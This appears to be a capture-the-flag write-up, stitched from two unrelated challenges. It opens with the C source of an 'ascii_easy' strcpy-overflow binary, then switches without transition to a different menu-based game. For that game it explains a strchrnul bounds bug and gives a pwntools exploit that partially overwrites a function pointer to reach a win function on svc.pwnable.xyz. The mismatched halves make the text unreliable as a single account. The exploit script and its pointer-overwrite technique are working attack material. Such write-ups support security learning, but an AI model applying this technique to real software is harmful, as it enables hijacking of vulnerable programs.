The program reads an input as a command line argument and stores it in a buffer. The argument must only contain ASCII characters. Source code is provided:
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#define BASE ((void*)0x5555e000)
int is_ascii(int c){
if(c>=0x20 && c<=0x7f) return 1;
return 0;
}
void vuln(char* p){
char buf[20];
strcpy(buf, p);
}
void main(int argc, char* argv[]){
if(argc!=2){
printf("usage: ascii_easy [ascii input]\n");
return;
}
size_t len_file;
struct stat st;
int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY);
if( fstat(fd,&st) < 0){
printf("open error. tell admin!\n");
return;
}
len_file = st.st_size;
if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){
printf("mmap error!. tell admin\n");
return;
}
int i;
for(i=0; i<strlen(argv[1]); i++){
if( !is_ascii(argv[1][i]) ){
printf("you have non-ascii byte!\n");
return;
}
}
printf("triggering bug...\n");
vuln(argv[1]);
}
Option 1 calls the game. A game is stored at **(cur+0x88)
Option 2 calls save_game()
Option 3 calls delete_save()
Option 4 just prints the current name
Option 5 calls edit_char()
Option 0 exits the program
Call win
which will print out the flag
Buffer Overflow:
edit_char
uses strchrnul
which returns a pointer to the null byte at the end of the string, rather than NULL. It is used here without checking the bounds of the character to replace.
This example replaces Z
with f
. Z
doesn't exist so the 0x00
is replaced instead
Before | After |
---|---|
![]() |
![]() |
By replacing multiple 0x00
we can 'grow' the name string to also include the bytes beyond its original length.
-
The maximum length of name is
0x7f
or 127. This includes\n
and\x00
when entering manually
The game is stored at cur+0x88
(highlighted). It can be overwritten using edit_char
-
The default game address is at
0x00400d6b
-
The address of win is located at
0x00400cf3
- Use Option 5 to replace
0x00
until the name string grows to include the word atcur+0x88
- Use Option 5 to replace
0x00400d6b
to0x00400cf3
(change 2 lower bytes) - Use Option 1 to jump to win function
from pwn import *
e = ELF("challenge")
p = remote("svc.pwnable.xyz", 30015)
payload = b"D" * 0x7f
p.recvuntil(b":")
p.send(payload)
# grow the string
# change 5 \x00 to D with strchrnul
for i in range(0, 5):
p.recvuntil(b">")
p.sendline(b'5')
p.recvuntil(b":")
p.sendline(b'Z')
p.sendline(b'D')
# change 0x400d6b to 0x400cf3
p.recvuntil(b">")
p.sendline(b'5')
p.recvuntil(b":")
p.sendline(b'\x0d')
p.sendline(b'\x0c')
p.recvuntil(b">")
p.sendline(b'5')
p.recvuntil(b":")
p.sendline(b'\x6b')
p.sendline(b'\xf3')
# Jump to win
p.sendline(b'1')
p.interactive()
Note: This exploit works sometimes because the number of \x00
to be replaced varies. Just run multiple times